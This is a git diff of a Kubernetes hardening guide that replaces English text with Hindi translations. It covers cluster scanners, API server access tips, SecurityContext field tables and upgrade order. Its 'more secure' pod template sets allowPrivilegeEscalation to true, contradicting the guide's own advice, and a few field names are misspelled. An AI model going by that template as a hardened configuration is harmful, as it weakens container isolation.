[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
|
||||
[**Popeye**](https://github.com/derailed/popeye) एक उपयोगिता है जो लाइव कुबेरनेट्स क्लस्टर को स्कैन करती है और **तैनात संसाधनों और कॉन्फ़िगरेशन के साथ संभावित समस्याओं की रिपोर्ट करती है**। यह आपके क्लस्टर को तैनात किए गए आधार पर स्वच्छ करता है और डिस्क पर क्या है, इस पर नहीं। अपने क्लस्टर को स्कैन करके, यह गलत कॉन्फ़िगरेशन का पता लगाता है और आपको यह सुनिश्चित करने में मदद करता है कि सर्वोत्तम प्रथाएँ लागू हैं, इस प्रकार भविष्य की समस्याओं को रोकता है। इसका उद्देश्य एक कुबेरनेट्स क्लस्टर को संचालित करते समय सामना करने वाले संज्ञानात्मक \_over_load को कम करना है। इसके अलावा, यदि आपके क्लस्टर में एक मैट्रिक-सेवा है, तो यह संभावित संसाधनों के अधिक/कम आवंटन की रिपोर्ट करता है और यदि आपका क्लस्टर क्षमता से बाहर हो जाता है तो आपको चेतावनी देने का प्रयास करता है।
|
||||
|
||||
### [**KICS**](https://github.com/Checkmarx/kics)
|
||||
|
||||
[**KICS**](https://github.com/Checkmarx/kics) finds **security vulnerabilities**, compliance issues, and infrastructure misconfigurations in the following **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, and OpenAPI 3.0 specifications
|
||||
[**KICS**](https://github.com/Checkmarx/kics) निम्नलिखित **Infrastructure as Code समाधान** में **सुरक्षा कमजोरियों**, अनुपालन मुद्दों, और बुनियादी ढांचे की गलत कॉन्फ़िगरेशन का पता लगाता है: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, और OpenAPI 3.0 विशिष्टताएँ
|
||||
|
||||
### [**Checkov**](https://github.com/bridgecrewio/checkov)
|
||||
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) is a static code analysis tool for infrastructure-as-code.
|
||||
[**Checkov**](https://github.com/bridgecrewio/checkov) बुनियादी ढांचे के कोड के लिए एक स्थैतिक कोड विश्लेषण उपकरण है।
|
||||
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) or [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
यह [Terraform](https://terraform.io), Terraform योजना, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) या [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) का उपयोग करके प्रदान की गई क्लाउड बुनियादी ढांचे को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन गलत कॉन्फ़िगरेशन का पता लगाता है।
|
||||
|
||||
### [**Kube-score**](https://github.com/zegl/kube-score)
|
||||
|
||||
[**kube-score**](https://github.com/zegl/kube-score) is a tool that performs static code analysis of your Kubernetes object definitions.
|
||||
[**kube-score**](https://github.com/zegl/kube-score) एक उपकरण है जो आपके कुबेरनेट्स ऑब्जेक्ट परिभाषाओं का स्थैतिक कोड विश्लेषण करता है।
|
||||
|
||||
To install:
|
||||
इंस्टॉल करने के लिए:
|
||||
|
||||
| Distribution | Command / Link |
|
||||
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
|
||||
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS and Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
|
||||
| वितरण | कमांड / लिंक |
|
||||
| ------------------------------------------------ | ------------------------------------------------------------------------------------- |
|
||||
| macOS, Linux, और Windows के लिए पूर्व-निर्मित बाइनरी | [GitHub releases](https://github.com/zegl/kube-score/releases) |
|
||||
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
|
||||
| Homebrew (macOS और Linux) | `brew install kube-score` |
|
||||
| [Krew](https://krew.sigs.k8s.io/) (macOS और Linux) | `kubectl krew install score` |
|
||||
|
||||
## Tips
|
||||
|
||||
### Kubernetes PodSecurityContext and SecurityContext
|
||||
### Kubernetes PodSecurityContext और SecurityContext
|
||||
|
||||
You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
|
||||
आप **Pods के सुरक्षा संदर्भ** ( _PodSecurityContext_ के साथ) और **कंटेनरों** का सुरक्षा संदर्भ ( _SecurityContext_ के साथ) कॉन्फ़िगर कर सकते हैं जो चलाए जाने वाले हैं। अधिक जानकारी के लिए पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-securitycontext-s.md
|
||||
@@ -99,80 +93,74 @@ kubernetes-securitycontext-s.md
|
||||
|
||||
### Kubernetes API Hardening
|
||||
|
||||
It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment.\
|
||||
It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any other connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**.
|
||||
यह बहुत महत्वपूर्ण है कि **Kubernetes Api Server तक पहुँच की सुरक्षा करें** क्योंकि एक दुर्भावनापूर्ण अभिनेता जिसके पास पर्याप्त विशेषाधिकार हैं, इसका दुरुपयोग कर सकता है और वातावरण को कई तरीकों से नुकसान पहुँचा सकता है।\
|
||||
यह सुनिश्चित करना महत्वपूर्ण है कि **पहुँच** (**whitelist** उत्पत्ति को API Server तक पहुँचने के लिए और किसी अन्य कनेक्शन को अस्वीकार करें) और [**प्रमाणीकरण**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) ( **कम से कम** **विशेषाधिकार** के सिद्धांत का पालन करते हुए) सुरक्षित हो। और निश्चित रूप से **कभी भी** **गुमनाम** **अनुरोधों** की **अनुमति** **नहीं** दें।
|
||||
|
||||
**Common Request process:**\
|
||||
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
|
||||
**सामान्य अनुरोध प्रक्रिया:**\
|
||||
उपयोगकर्ता या K8s ServiceAccount –> प्रमाणीकरण –> प्राधिकरण –> प्रवेश नियंत्रण।
|
||||
|
||||
**Tips**:
|
||||
**टिप्स**:
|
||||
|
||||
- Close ports.
|
||||
- Avoid Anonymous access.
|
||||
- NodeRestriction; No access from specific nodes to the API.
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
|
||||
- And also, allows kubelets to add/remove/update these labels and label prefixes.
|
||||
- Ensure with labels the secure workload isolation.
|
||||
- Avoid specific pods from API access.
|
||||
- Avoid ApiServer exposure to the internet.
|
||||
- Avoid unauthorized access RBAC.
|
||||
- ApiServer port with firewall and IP whitelisting.
|
||||
- पोर्ट बंद करें।
|
||||
- गुमनाम पहुँच से बचें।
|
||||
- NodeRestriction; API से विशिष्ट नोड्स से कोई पहुँच नहीं।
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
|
||||
- मूल रूप से kubelets को node-restriction.kubernetes.io/ उपसर्ग के साथ लेबल जोड़ने/हटाने/अपडेट करने से रोकता है। यह लेबल उपसर्ग प्रशासकों के लिए उनके नोड ऑब्जेक्ट्स को कार्यभार अलगाव के उद्देश्यों के लिए लेबल करने के लिए आरक्षित है, और kubelets को उस उपसर्ग के साथ लेबल को संशोधित करने की अनुमति नहीं होगी।
|
||||
- और साथ ही, kubelets को इन लेबलों और लेबल उपसर्गों को जोड़ने/हटाने/अपडेट करने की अनुमति देता है।
|
||||
- लेबल के साथ सुरक्षित कार्यभार अलगाव सुनिश्चित करें।
|
||||
- API पहुँच से विशिष्ट पॉड्स को रोकें।
|
||||
- इंटरनेट पर ApiServer के प्रदर्शन से बचें।
|
||||
- अनधिकृत पहुँच RBAC से बचें।
|
||||
- फ़ायरवॉल और IP whitelisting के साथ ApiServer पोर्ट।
|
||||
|
||||
### SecurityContext Hardening
|
||||
|
||||
By default root user will be used when a Pod is started if no other user is specified. You can run your application inside a more secure context using a template similar to the following one:
|
||||
|
||||
डिफ़ॉल्ट रूप से, जब कोई पॉड शुरू किया जाता है तो रूट उपयोगकर्ता का उपयोग किया जाएगा यदि कोई अन्य उपयोगकर्ता निर्दिष्ट नहीं किया गया है। आप निम्नलिखित में से एक टेम्पलेट का उपयोग करके एक अधिक सुरक्षित संदर्भ के भीतर अपने एप्लिकेशन को चला सकते हैं:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: security-context-demo
|
||||
name: security-context-demo
|
||||
spec:
|
||||
securityContext:
|
||||
runAsUser: 1000
|
||||
runAsGroup: 3000
|
||||
fsGroup: 2000
|
||||
volumes:
|
||||
- name: sec-ctx-vol
|
||||
emptyDir: {}
|
||||
containers:
|
||||
- name: sec-ctx-demo
|
||||
image: busybox
|
||||
command: [ "sh", "-c", "sleep 1h" ]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
volumeMounts:
|
||||
- name: sec-ctx-vol
|
||||
mountPath: /data/demo
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
securityContext:
|
||||
runAsUser: 1000
|
||||
runAsGroup: 3000
|
||||
fsGroup: 2000
|
||||
volumes:
|
||||
- name: sec-ctx-vol
|
||||
emptyDir: {}
|
||||
containers:
|
||||
- name: sec-ctx-demo
|
||||
image: busybox
|
||||
command: [ "sh", "-c", "sleep 1h" ]
|
||||
securityContext:
|
||||
runAsNonRoot: true
|
||||
volumeMounts:
|
||||
- name: sec-ctx-vol
|
||||
mountPath: /data/demo
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
```
|
||||
|
||||
- [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
- [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
|
||||
|
||||
### General Hardening
|
||||
### सामान्य हार्डनिंग
|
||||
|
||||
You should update your Kubernetes environment as frequently as necessary to have:
|
||||
आपको अपने Kubernetes वातावरण को आवश्यकतानुसार अपडेट करना चाहिए ताकि:
|
||||
|
||||
- Dependencies up to date.
|
||||
- Bug and security patches.
|
||||
- निर्भरताएँ अद्यतित हों।
|
||||
- बग और सुरक्षा पैच।
|
||||
|
||||
[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
|
||||
[**रिलीज़ चक्र**](https://kubernetes.io/docs/setup/release/version-skew-policy/): हर 3 महीने में एक नया माइनर रिलीज़ होता है -- 1.20.3 = 1(मुख्य).20(माइनर).3(पैच)
|
||||
|
||||
**The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
**Kubernetes क्लस्टर को अपडेट करने का सबसे अच्छा तरीका है (यहां से** [**यहां**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
|
||||
|
||||
- Upgrade the Master Node components following this sequence:
|
||||
- etcd (all instances).
|
||||
- kube-apiserver (all control plane hosts).
|
||||
- kube-controller-manager.
|
||||
- kube-scheduler.
|
||||
- cloud controller manager, if you use one.
|
||||
- Upgrade the Worker Node components such as kube-proxy, kubelet.
|
||||
- मास्टर नोड घटकों को इस अनुक्रम का पालन करते हुए अपग्रेड करें:
|
||||
- etcd (सभी उदाहरण)।
|
||||
- kube-apiserver (सभी नियंत्रण विमान होस्ट)।
|
||||
- kube-controller-manager।
|
||||
- kube-scheduler।
|
||||
- क्लाउड कंट्रोलर प्रबंधक, यदि आप एक का उपयोग करते हैं।
|
||||
- कार्यकर्ता नोड घटकों जैसे kube-proxy, kubelet को अपग्रेड करें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+35
-39
@@ -6,53 +6,53 @@
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core)
|
||||
|
||||
When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider:
|
||||
जब आप एक Pod के सुरक्षा संदर्भ को निर्दिष्ट करते हैं, तो आप कई विशेषताओं का उपयोग कर सकते हैं। एक रक्षात्मक सुरक्षा दृष्टिकोण से, आपको विचार करना चाहिए:
|
||||
|
||||
- To have **runASNonRoot** as **True**
|
||||
- To configure **runAsUser**
|
||||
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
|
||||
- Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
|
||||
- **runASNonRoot** को **True** रखना
|
||||
- **runAsUser** को कॉन्फ़िगर करना
|
||||
- यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** को इंगित करते हुए **permissions** को **सीमित** करने पर विचार करें
|
||||
- **runAsGroup** और **supplementaryGroups** के माध्यम से **privilege** **group** पहुंच न दें
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>A special supplemental group that applies to <strong>all containers in a pod</strong>. Some volume types allow the Kubelet to <strong>change the ownership of that volume</strong> to be owned by the pod:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>एक विशेष सहायक समूह जो <strong>pod में सभी कंटेनरों</strong> पर लागू होता है। कुछ वॉल्यूम प्रकार Kubelet को <strong>उस वॉल्यूम के स्वामित्व को बदलने</strong> की अनुमति देते हैं:<br>1. स्वामित्व GID FSGroup होगा<br>2. सेटगिड बिट सेट है (वॉल्यूम में बनाए गए नए फ़ाइलें FSGroup द्वारा स्वामित्व होंगी)<br>3. अनुमति बिट rw-rw---- के साथ OR'd हैं यदि सेट नहीं है, तो Kubelet किसी भी वॉल्यूम के स्वामित्व और अनुमतियों को संशोधित नहीं करेगा</p> |
|
||||
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint of the container process**. Defaults to user specified in image metadata if unspecified. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to all containers**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | The **seccomp options to use by the containers** in this pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | A list of **groups applied to the first process run in each container**, in addition to the container's primary GID. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls hold a list of **namespaced sysctls used for the pod**. Pods with unsupported sysctls (by the container runtime) might fail to launch. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The Windows specific settings applied to all containers. If unspecified, the options within a container's SecurityContext will be used. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | यह **वॉल्यूम के स्वामित्व और अनुमति को बदलने** के व्यवहार को परिभाषित करता है, जो Pod के अंदर प्रदर्शित होने से पहले। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए। यदि सत्य है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित किया जा सके कि यह UID 0 (रूट) के रूप में नहीं चल रहा है और यदि ऐसा होता है तो कंटेनर शुरू करने में विफल हो जाएगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता का डिफ़ॉल्ट होता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **सभी कंटेनरों पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>More info about</em> <em><strong>Seccomp</strong></em></p> | इस pod में कंटेनरों द्वारा उपयोग करने के लिए **seccomp विकल्प**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | **प्रत्येक कंटेनर में पहले चलाए गए प्रक्रिया पर लागू समूहों** की एक सूची, कंटेनर के प्राथमिक GID के अतिरिक्त। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>More info about</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls **pod के लिए उपयोग किए जाने वाले namespaced sysctls** की एक सूची रखता है। जिन pods में असमर्थित sysctls होते हैं (कंटेनर रनटाइम द्वारा) वे लॉन्च करने में विफल हो सकते हैं। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाले Windows विशिष्ट सेटिंग्स। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर के SecurityContext के भीतर विकल्पों का उपयोग किया जाएगा। |
|
||||
|
||||
## SecurityContext
|
||||
|
||||
[**From the docs:**](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
|
||||
यह संदर्भ **कंटेनरों की परिभाषाओं** के अंदर सेट किया गया है। एक रक्षात्मक सुरक्षा दृष्टिकोण से, आपको विचार करना चाहिए:
|
||||
|
||||
- **allowPrivilegeEscalation** to **False**
|
||||
- Do not add sensitive **capabilities** (and remove the ones you don't need)
|
||||
- **privileged** to **False**
|
||||
- If possible, set **readOnlyFilesystem** as **True**
|
||||
- Set **runAsNonRoot** to **True** and set a **runAsUser**
|
||||
- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
|
||||
- Do **NOT** give **privilege** **group** access via **runAsGroup.**
|
||||
- **allowPrivilegeEscalation** को **False** पर सेट करें
|
||||
- संवेदनशील **capabilities** न जोड़ें (और जिनकी आपको आवश्यकता नहीं है उन्हें हटा दें)
|
||||
- **privileged** को **False** पर सेट करें
|
||||
- यदि संभव हो, तो **readOnlyFilesystem** को **True** पर सेट करें
|
||||
- **runAsNonRoot** को **True** पर सेट करें और एक **runAsUser** सेट करें
|
||||
- यदि संभव हो, तो **seLinuxOptions** और **seccompProfile** को इंगित करते हुए **permissions** को **सीमित** करने पर विचार करें
|
||||
- **runAsGroup** के माध्यम से **privilege** **group** पहुंच न दें।
|
||||
|
||||
Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
|
||||
ध्यान दें कि **SecurityContext और PodSecurityContext** में सेट किए गए गुणों में, **SecurityContext** में निर्दिष्ट मान **प्राथमिकता** लेता है।
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** controls whether a process can **gain more privileges** than its parent process. This bool directly controls if the no_new_privs flag will be set on the container process. AllowPrivilegeEscalation is true always when the container is run as **Privileged** or has **CAP_SYS_ADMIN** |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** नियंत्रित करता है कि क्या एक प्रक्रिया **अपने माता-पिता प्रक्रिया से अधिक विशेषाधिकार प्राप्त कर सकती है**। यह bool सीधे नियंत्रित करता है कि क्या no_new_privs ध्वज कंटेनर प्रक्रिया पर सेट किया जाएगा। AllowPrivilegeEscalation हमेशा सत्य होता है जब कंटेनर **Privileged** के रूप में चलाया जाता है या **CAP_SYS_ADMIN** होता है |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | The **capabilities to add/drop when running containers**. Defaults to the default set of capabilities. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | Run container in privileged mode. Processes in privileged containers are essentially **equivalent to root on the host**. Defaults to false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount denotes the **type of proc mount to use for the containers**. The default is DefaultProcMount which uses the container runtime defaults for readonly paths and masked paths. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | Whether this **container has a read-only root filesystem**. Default is false. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint** of the container process. Uses runtime default if unset. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must **run as a non-root user**. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | The **UID to run the entrypoint** of the container process. Defaults to user specified in image metadata if unspecified. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | The **SELinux context to be applied to the container**. If unspecified, the container runtime will allocate a random SELinux context for each container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | The **seccomp options** to use by this container. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | The **Windows specific settings** applied to all containers. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>More info about</em> <em><strong>Capabilities</strong></em></p> | **कंटेनरों को चलाते समय जोड़ने/हटाने के लिए क्षमताएँ**। डिफ़ॉल्ट रूप से क्षमताओं का डिफ़ॉल्ट सेट होता है। |
|
||||
